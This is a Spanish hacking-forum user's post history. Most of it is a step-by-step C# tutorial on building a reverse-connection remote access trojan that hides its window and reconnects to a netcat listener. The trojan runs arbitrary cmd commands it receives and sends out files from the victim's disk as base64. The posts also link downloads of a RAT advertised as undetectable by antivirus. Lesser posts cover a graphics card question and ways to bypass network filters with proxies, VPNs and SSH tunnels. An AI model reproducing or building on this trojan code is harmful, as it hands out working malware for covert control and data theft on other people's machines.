elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Security Series.XSS. [Cross Site Scripting]


  Mostrar Mensajes
Páginas: [1] 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
1  Informática / Software / Re: CodeShell RAT 1.5 en: 26 Junio 2014, 22:00 pm

https://drive.google.com/file/d/0B55R3pNOtd8lSWgzMkkxNUdlSkE/edit?usp=sharing
2  Informática / Software / Re: CodeShell RAT en: 28 Enero 2014, 18:33 pm


https://drive.google.com/file/d/0B55R3pNOtd8lUk81VnRGNVhVcU0/edit?usp=sharing
3  Informática / Software / Re: CodeShell RAT en: 23 Enero 2014, 16:35 pm



aqui la versión 1.2

https://mega.co.nz/#!1cs0yL6Y!T9-T2qhOHCr-V-4CeCecw8an9Xd7-gDqID4LHUIr9fo
4  Seguridad Informática / Análisis y Diseño de Malware / Re:Creando un Troyano en C# [Transferencia de archivos] en: 13 Enero 2014, 20:37 pm
Seguímos usando la misma clase utilidades solo que agregarémos el metodo "downloadFile":

Código:
 public static string downloadFile(string ruta)
        {

            FileStream fs = new FileStream(ruta, FileMode.Open);

            BinaryReader lector = new BinaryReader(fs);
            byte[] bytes = new byte[(int)fs.Length];
            string cadena = null;
           
            try
            {
                lector.Read(bytes, 0, bytes.Length);
                cadena = Convert.ToBase64String(bytes);             

            }
            catch (IOException ex)
            {
                cadena = "error";
            }

            return cadena;

        }

aquí lo que hacemos es convertir un archivo a base64

ahora agregamos una comparación a nuestra clase Server en el metodo LeerDatos:

Código:
 if (String.Compare(cadena[0], mensajes.download.ToString()) == 0)
            {
                sw.WriteLine(Utilidades.downloadFile(cadena[1]));
               
            }

y modificamos nuestra variable enumerada "mensajes":

Código:
  private enum mensajes
        {
            CD,
            Mensaje,
            comando,
            download
        }

por ultimo nos conectanos a nuestro server mediante netcat: -lvp 9999

y escribimos el mensaje:

Código:
download$ruta_de_archivo

nos damos cuenta que netcat nos muestra todo el codigo en base64, solo nos queda escribir un programa para descifrar ese codigo.

Creamos un nuevo proyecto y en el form agregamos un textbox y un boton (podemos agregar mas cosas pero para hacerlo sencillo solo agregaré esos dos componentes)
y nos queda de esta forma:



hacemos doble click en el boton para agregar codigo:

Código:
 string sImagenTemporal = "pruebaaaaa.png"; //Nombre y formato que queramos
            FileStream fs2 = new FileStream(sImagenTemporal, FileMode.Create);
            BinaryWriter bw = new BinaryWriter(fs2);


            byte[] bytes = new byte[(int)fs2.Length];     

            try
            {
                bytes = Convert.FromBase64String(textBox1.Text);
                bw.Write(bytes);
            }
             finally 
            {
               
                fs2.Close();
            }

y con eso "creamos" el archivo que hemos "descargado" del servidor

noten que aqui he hardcodeado la variable "sImagenTemporal " con un ombre de archivo y formato, esto lo he hecho así por motivos de simplicidad ya que en mi caso he descargado una imagen, pero lo que deben hacer es crear un savefiledialog pero eso ya es cosa de uds.

les dejo una idea sobre como quedaría ya con el codigo en base64:

Código:
download$C:\Users\Devil\Desktop\DD\PC\Devil\1.png
iVBORw0KGgoAAAANSUhEUgAAA5IAAABlCAIAAACwbEt5AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8
YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAChZSURBVHhe7Z39j17Hdd/9txhFkEjUUiRF0oqg0pQoWpZM
+YVcsFBBu7KoN1t1ItVUljThAgkp2nFkNXVleEuVcpFCgVXUcSEZSwkQahcKkh8CQQiyUgKhQALECYEI
kNlCQAALUM/MuXPumTMvz9znPrv7PLvfgw8Wc889M3Nm7ty5X17eJT920003AwAAAAAAMOdMI1u//e3v
vPnmm+fPf/OWWw6YUwAAAAAAAGwEg2Xr2bPf+CjY+++//+KLf/z5z58wMQAAAAAAAMyWYbL1ySe//uGH
H3aiVZkJAwAAAAAAYLYMkK1/+If/8Ve/+lUnVGMzkQAAAAAAAMyWXrbee++xl19+5cUX/zj7xWrpPSub
CQYAAAAAAGC29LK1U6AfffRXf7V+5MinxE/UNSuZDq5z/Mxqb2eWzdl5wGf4rdOHrf+mm5bdmZCzD3vq
eBSwSRw+/S03e9XeXXrJ9IpztslTa5dO32mcjO8o2LjL7UY9B5MPAAAAgK0iI1vJ3n///YceeoT9Z89+
Q2vWDz744Pz5b3YHwaSRKneevhRpl+OnHz7cn50XWGmlOoxk06VLvXLaMg4/fEmr6uNPrV7KTSP5rbBz
svvMce2ZDQXZWr7cpZyraNkKAAAAgB2Ila1/9Ef/jQskVb///R98+9vf4UO2X/ziF8vLJyVYTBqpYfTW
vOJEGMlTq/mcCJsb2apyK0rARKRmhOxsyMvWyuWGbAUAAADAcKxspYIoV2NvvPGnt9/+SR0sxs5J1N72............... mas codigo en base64

ahora solo peguen todo lo ques les muestra netcat y peguenlo en el decripter que hicimos, click en el boton y listoooo
5  Seguridad Informática / Análisis y Diseño de Malware / Creando un Troyano en C# en: 26 Diciembre 2013, 22:26 pm
En este tuto voy a enseñar como crear el principio de un RAT de conexion inversa.

En mi caso usaré visual studio ultimate 2012 pero obviamente puede utilizar algun otro IDE.

***************Creando el Servidor*************


Crearemos un servidor muy simple que lo que hará será esperar a que el cliente se conecte esto será mediante un ciclo infinito con una pausa del tiempo que nosotros indiquémos
Abrimos vs y creamos un nuevo proyecto de winform, y dos  clases con el nombre que querámos en mi caso el nombre dle proyecto es Server, clase Servidor y Utilidades:



Primero escribiremos la clase servidor

agregamos los NameSpaces que necesitamos, en este caso solo agregarémos 3:

Código:
using System.IO; //Streams
using System.Net.Sockets; //tcpclient
using System.Threading; //Hilos


y nuestra clase quedará de la sig. manera:

Código:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO; //Streams
using System.Net; //IPAdress
using System.Net.Sockets; //tcpclient
using System.Threading; //Hilos

namespace Server
{
    public class Servidor
    {
//variables necesarias para conectarnos al cliente de manera inversa, ademas de escuchar los mensajes de este

        private string ip;
        private int port;
        private TcpClient tcpClient;
        private NetworkStream ns;
        private StreamReader sr;
        private StreamWriter sw;
        private StringBuilder sb;     
       

        public Servidor(string ip, int port)
        {
            this.ip = ip;
            this.port = port;
        }

        private enum mensajes
        {
            CD,
            Mensaje
        }


        public void iniciar(int tiempo)
        {
            EjecutarServidor();
            Thread.Sleep(tiempo);           
        }

        private void EjecutarServidor()
        {
            tcpClient = new TcpClient();
            sb = new StringBuilder();

            if (!tcpClient.Connected)
            {
                try
                {
                    tcpClient.Connect(ip, port);
                    ns = tcpClient.GetStream();
                    sr = new StreamReader(ns);
                    sw = new StreamWriter(ns);

                }
                catch (Exception)
                {
                    return;
                }

                for (; ; )
                {
                    try
                    {
                        sb.Append(sr.ReadLine());
                        LeerDatos(sb.ToString());
                        sb.Remove(0, sb.Length);
                    }
                    catch (Exception)
                    {
                        limpiar();
                        break;
                    }

                }
            }//fin del if 
        }//fin del metodo EjecutarServidor

        private void LeerDatos(string datos)
        {
            string[] cadena = datos.Split('$');

            if (String.Compare(cadena[0], mensajes.Mensaje.ToString()) == 0)
            {
                Utilidades.mandarMensaje(cadena[1]);
            }
        }//fin de LeerDatos

        private void limpiar()
        {
            sr.Close();
            sw.Close();
            ns.Close();
        }//fin de limpiar
    }//fin clase servidor
}


Aquí he creado las variables que necesitamos para conectarnos al cliente, esto es la ip y el puerto (esto se hace en el constructor) ademas de un StreamReader que usarémos para escuchar los mensajes que el cliente escriba.

Usé una variable del tipo enum, esto es para validar los mensajes del cliente, esto lo hacemos de la sig forma:

si el cliente escribe por ejemplo  "MandarMensaje" el servidor compara ese mensaje con el enum y si son iguales entonces va a realizar alguna tarea que escribamos en la clase Utilidades.

En el metodo iniciar hemos creado un bucle donde se ejecutará el metodo EjecutarServidor y ademas hará una pausa de x milisegundos.

El sig. metodo es el corazón del servidor, aqui intentarémos conectarnos y escucharémos los mensajes que el cliente nos pase

Los mensajes los validaremos en el metodo LeerDatos donde mandarémos como parametros el mensaje que el cliente escriba

Aquí mediante un string.compare() validamos si el mensaje es igual a lo que esperámos y si es así entonces ejecutarémos lo que haya en Utilidades
además usamos un split para seprar el mensaje del cliente, mas adelante con un ejemplo mostraré lo que realmente hace

el ultimo metodo es limpiar, aqui cerrarémos los streams.

ahora en la clase Utilidades, vamos a indicarle que sea estatica para no tener que instanciarla cada vez que la querámos utilizar

aqui simplemente se ejecuta un MessageBox.Show con el mensaje que el cliente haya escrito.

***************Usando la clase*************

ahora solo nos queda irnos al form y en el evento load de nuestro form y escribimos lo sig:

crearemos dos variables

Código:
private Servidor servidor;
        private int tiempoRecon;

en el contructor las asignarémos:

Código:
servidor = new Servidor("127.0.0.1", 9999);
            tiempoRecon = 5000;

y el el evento load ejecutarémos nuestra clase:

Código:
private void Form1_Load(object sender, EventArgs e)
        {
            this.Hide();
            for (; ; )
            {
                servidor.iniciar(tiempoRecon);
            }
        }


el codigo completo es el sig:

Código:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;

namespace Server
{
    public partial class Form1 : Form
    {
        private Servidor servidor;
        private int tiempoRecon;

        public Form1()
        {
            InitializeComponent();
            servidor = new Servidor("127.0.0.1", 9999);
            tiempoRecon = 5000;
        }

        private void Form1_Load(object sender, EventArgs e)
        {
            this.Hide();
            for (; ; )
            {
                servidor.iniciar(tiempoRecon);
            }
        }
    }
}

***************Usar Netcat o Cryptcat como cliente*************

Como mandar los mensajes de un cliente.

bueno es muy facil podemos crear otra aplicación pero en este caso usarémos al viejo netcat o cryptcar

lo colocámos en c:\ y abrimos linea de comandos:

Código:
nc.exe -lvp 9999


ejecutamos nuestro servidor y verémos como estámos conectados

ahora solo escribirémos lo sig:

Mensaje$HolaDesdeElCliente

y verémos como se abre el MessageBox del servidor con el mensaje HolaDesdeElCliente

el mensaje del cliente como dije antes se valida en el metodo LeerDatos(string datos)


donde el parametro datos en este caso va a ser igual a "Mensaje$HolaDesdeElCliente"
y mediante el metodo string.split() vamos a separar en un arreglo todo el mensaje que haya antes del signo "$" y todo lo que haya despues
en este caso quedará asi:

Código:
string[] cadena = datos.Split('$');

siendo:
cadena[0] //Mensaje
y
cadena[1] //HolaDesdeElCliente

si escribimos cualquier otra cosa verémos que nuestro servidor no hace absolutamente nada.

pero bueno ya con ese estoy seguro que se les ocurrirá muchas cosas

bueno ahora verémos como hacerlo a la inversa (del servidor al cliente)

un ejemplo extremandamente sencillo será mandar un mensaje de Bienvenida una vez que el cliente se conecte

esto lo haremos simplemnete usando el metodo writeline de nuestro StreamWriter

solamente agregruen los sig. despues de que tcpclient se conecte:

Código:
sw.WriteLine("Hola");
sw.Flush();

con eso mandamos un mensaje mediante writeline y mediante flush borramos todos los búferes

una vez sabiendo esto es facil deducir lo que podemos hacer por ejemplo sería creando otra validacion en nuestro metodo LeerDatos

quedaría de la sig forma en pseudocdigo:

Código:
si el mensaje del cliente es igual a "dameIP" entonces
ejecutamos el metodo Utilidades.obtenerIP

y ese resultado lo mandamos mendiante writeline

como ven es muy facil crear un troyano simple.

ahora les voy a enseñar como mandar comandos cmd a nuestro servidor


agregamos un valor a la variable enum mensajes en mi caso quedó así:

Código:
private enum mensajes
        {
            CD,
            Mensaje,
            comando
        }


y validamos el mensaje en el metodo LeerDatos

Código:
if (String.Compare(cadena[0], mensajes.comando.ToString()) == 0)
            {
                Utilidades.consola(cadena[1]);
            }



agregamos el sig. namespace en nuestra clase utilidades:

Código:
using System.Diagnostics;

y creamos el sig metodo en la clase Utilidades


Código:
public static void consola(string comando)
        {
            Process cmd = new Process();
            cmd.StartInfo.FileName = "cmd.exe";
            cmd.StartInfo.RedirectStandardInput =
            true;
            cmd.StartInfo.RedirectStandardOutput =
            true;
            cmd.StartInfo.CreateNoWindow = true;
            cmd.StartInfo.UseShellExecute = false;
            cmd.Start();           

            cmd.StandardInput.WriteLine(comando);
            cmd.StandardInput.Flush();
            cmd.StandardInput.Close();
        }


y listo, ahora ejecutamos el servidor, abrimos netcat y mandamos mensaje de la siguiente forma:
comando$md pruebaaaaaa

donde comando es el mensaje que va a validar en LeerDatos
$ es simbola para separar
y md prueba es el comando (crear carpeta pruebaaaaa)

como ven es extremadamente sencillo

ya con esto hemos hecho un RAT funcional y lo mejor de todo FUD

Devilboy
6  Informática / Software / Re: CodeShell RAT en: 24 Diciembre 2013, 23:21 pm
Hola queria preguntarte si al ofuscar código con Codewall eliminas detección de los antivirus?
No probé codewall por eso te comento.
El código fuente?  :silbar:

Saludos.

No. CodeShell es FUD.

Nada tiene que ver codewall
7  Informática / Software / CodeShell RAT en: 22 Diciembre 2013, 20:53 pm
Ojala les guste.

Coded en C#

probado en windows 7, 8 y 81 en 32 y 64 bit






Código:
https://drive.google.com/file/d/0B55R3pNOtd8lR1RXcFUyZ3hqM2c/edit?usp=sharing

Ojala lo disfruten tanto como yo he disfrutado codeandolo xD
8  Programación / .NET (C#, VB.NET, ASP) / Como crear un exe en un windows form en: 20 Noviembre 2013, 16:42 pm
digamos que tengo el cliente de un rat y quiero que el mismo cliente me cree el servidor.

Como se podría hacer esto???
9  Informática / Hardware / Ayudaa con tarjeta de video en: 19 Junio 2012, 20:56 pm
cual de estas dos es mejor?

AMD Radeon™ HD 7870 2GB GDDR5

ó

1GB GDDR5 NVIDIA® GeForce® GTX 555

ó

NVIDIA® GeForce® GT 640 1GB GDDR5

me urge por favor
10  Seguridad Informática / Hacking / [Esconder ip] Navegación segura sobre internet en: 28 Abril 2012, 21:53 pm
Cuantas veces nos encontrámos dentro de una red donde tenga bloqueado youtube, facebook, twitter, etc.

Bueno aqúi les traigo unos metodos para poder saltarnos estas restricciones.

-------[[PROXYS]]-----

Muchos de nosotros sabemos que son y para que sirven pero veamos los que nos dice la Wiki:

Un proxy, en una red informática, es un programa o dispositivo que realiza una acción en representación de otro, esto es, si una hipotética máquina A solicita un recurso a una C, lo hará mediante una petición a B; C entonces no sabrá que la petición procedió originalmente de A. Su finalidad más habitual es la de servidor proxy, que sirve para interceptar las conexiones de red que un cliente hace a un servidor de destino, por varios motivos posibles como seguridad, rendimiento, anonimato, etc.

Teniendo mas claro en concepto dejaré algunas paginas que ofrecen este servicio:

http://hidemyass.com/proxy-list/
http://dtunnel.com
http://www.tubeoxy.com
http://www.kproxy.biz/
http://atunnel.com/
http://www.proxy4free.com/list/webproxy1.html

https://ssl-proxy.my-addr.com/  -------> Este es mi preferido ya que funciona sobre ssl

Existen muuuuchas mas pero solo pondré esas pocas ademas el uso de estas paginas no es totalmente de mi agrado ya que son bastante lentas.

-------[[ULTRASURF]]-----

Muchos dirán, ¿pero si ese es tambien un proxy, xq lo pones separado?

Bueno la respuesta es sí, si es un proxy pero yo creo que se ha ganado su propio espacio ya que me parece estupendo.
Se preguntarán como se usa, bueno es muy simple.
Lo unico que tenemos que hacer es bajarlo de la pagina oficial y sin necesidad de instalarlo solo damos doble click y este programa buscará el proxy mas cercano y nos conectarémos a este.

Si necesitan mas info aqui les dejo la pagina oficial donde podrán ver de que se trata ademas de descargarlo.

http://ultrasurf.us/

-------[[VPN]]-----

Segun la wiki:

Una red privada virtual, RPV, o VPN de las siglas en inglés de Virtual Private Network, es una tecnología de red que permite una extensión de la red local sobre una red pública o no controlada.

Ejemplos comunes son la posibilidad de conectar dos o más sucursales de una empresa utilizando como vínculo Internet, permitir a los miembros del equipo de soporte técnico la conexión desde su casa al centro de cómputo, o que un usuario pueda acceder a su equipo doméstico desde un sitio remoto, como por ejemplo un hotel. Todo ello utilizando la infraestructura de Internet.

En pocas palabras, es como si nos conectaramos a otra red dentro de nuestra misma red.

les pondré un ejemplo para que quede mas claro.

Nos encontramos conectados a las red A, pero la red A cuenta con filtros para bloquearnos youtube, fb, etc.
Entonces nos conectamos a la red B que es una red "limpia" sin bloqueos, asi que desde nuestra red A conectada a la red B tenemos acceso libre a cualquier pagina.

Como no todo puede ser maravilloso nos encontrámos con unos problemitas y estos son que las vpn no son gratuitas.
Existen algunas que lo son, pero tienen la condición de que duran muy poco o solo la podemos usar por cierta cantidad de Mb.

Les dejaré la lista de algunas VPN´s gratuitas:

http://www.tunnelbear.com/   vpn gratuita que solo se instala y te deja usar 100mb por mes, al termino del mes te da de nuevo los 100mb.
http://openvpn.net/   me parece que tambien te da 100mb por cada cuenta que creemos
http://cyberghostvpn.com/ otra vpn gratis, me parece que está no tiene reestricciones pero no me gustó xq me sacaba a cada rato.

http://www.xpdo.net/  -------> Mi preferida ya que sin instalar nada tendrémos una vpn gratis y rapida.
http://www.xpdo.net/setup_win7.html    esta es la pagina que enseña como configurarla.
el unico pero que tiene es que la contraseña cambia cada 30 minutos, pero es tan facil como volver a conectarnos, cambia el pass y listo.


-------[[TUNEL SSH]]-----

Guardé lo mejor para el final.

Segun la wiki:

Túnel SSH

El protocolo SSH (secure shell) se utiliza con frecuencia para tunelizar tráfico confidencial sobre Internet de una manera segura. Por ejemplo, un servidor de ficheros puede compartir archivos usando el protocolo SMB (Server Message Block), cuyos datos no viajan cifrados. Esto permitiría que una tercera parte, que tuviera acceso a la conexión (algo posible si las comunicaciones se realizan en Internet) pudiera examinar a conciencia el contenido de cada fichero trasmitido.

Para poder montar el sistema de archivo de forma segura, se establece una conexión mediante un túnel SSH que encamina todo el tráfico SMB al servidor de archivos dentro de una conexión cifrada SSH. Aunque el protocolo SMB sigue siendo inseguro, al viajar dentro de una conexión cifrada se impide el acceso al mismo.

Por ejemplo, para conectar con un servidor web de forma segura, utilizando SSH, haríamos que el cliente web, en vez de conectarse al servidor directamente, se conecte a un cliente SSH. El cliente SSH se conectaría con el servidor tunelizado, el cual a su vez se conectaría con el servidor web final. Lo atractivo de este sistema es que hemos añadido una capa de cifrado sin necesidad de alterar ni el cliente ni el servidor web.

Pondré un ejemplo para entender mejor como funciona esto:

Existen paginas donde ofrecen el uso de una consola con GNU/Linux.
Se preguntarán para que, bueno simplemente para que las personas aprendámos el uso de este.

La verdad es que me parece espectacular este servicio, xq creanme que se aprende mucho, ya que tenemos el poder de una consola con GNU/Linux desde cualquier computadora o dispositivo movil.

Lo primero que tenemos que hacer es conseguir una cuenta y mediante el uso de putty (cliente ssh) creamos el tunel y una vez configurado nuestro navegador tendrémos libre acceso en internet.

Existen muchas paginas web que ofrecen este servicio mediante una cuota mensual, otros anual pero tambien existen los gratuitos.

Pondré la lista de estos

http://hypeshell.com/ Excelente solo que cobra creo que 5 Euros al año
https://camolist.com/ Otra excelente solo que mas cara.

http://shellmix.com/index.php/free-account/free-shell-account    ---------> Mi favorita ya que es totalmente gratuita


Ademas otra punto exclenete es que podemos configurar la pc de nuestra casa, creando un servidor ssh y asi conectarnos a nuestra casa desde la red bloqueada.

Les dejo este tuto que hice hace tiempo sobre como crear un servidor ssh en nuestra pc y por si quieren las de la red tambien viene en la pagina 6 como configurar el putty para hacerlo.

http://www.mediafire.com/view/?aoh3fwjts5ccxnf

Tambien les dejo este enlace donde enseña como configurar el navegador, solo recuerden usar su cuenta

https://camolist.com/sshtunnel/windows/

Aclaro que no son las únicas, existen muchas mas gratis, solo es cuestión de buscarlas

Cualquier duda con gusto les ayudaré

salu2
Páginas: [1] 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines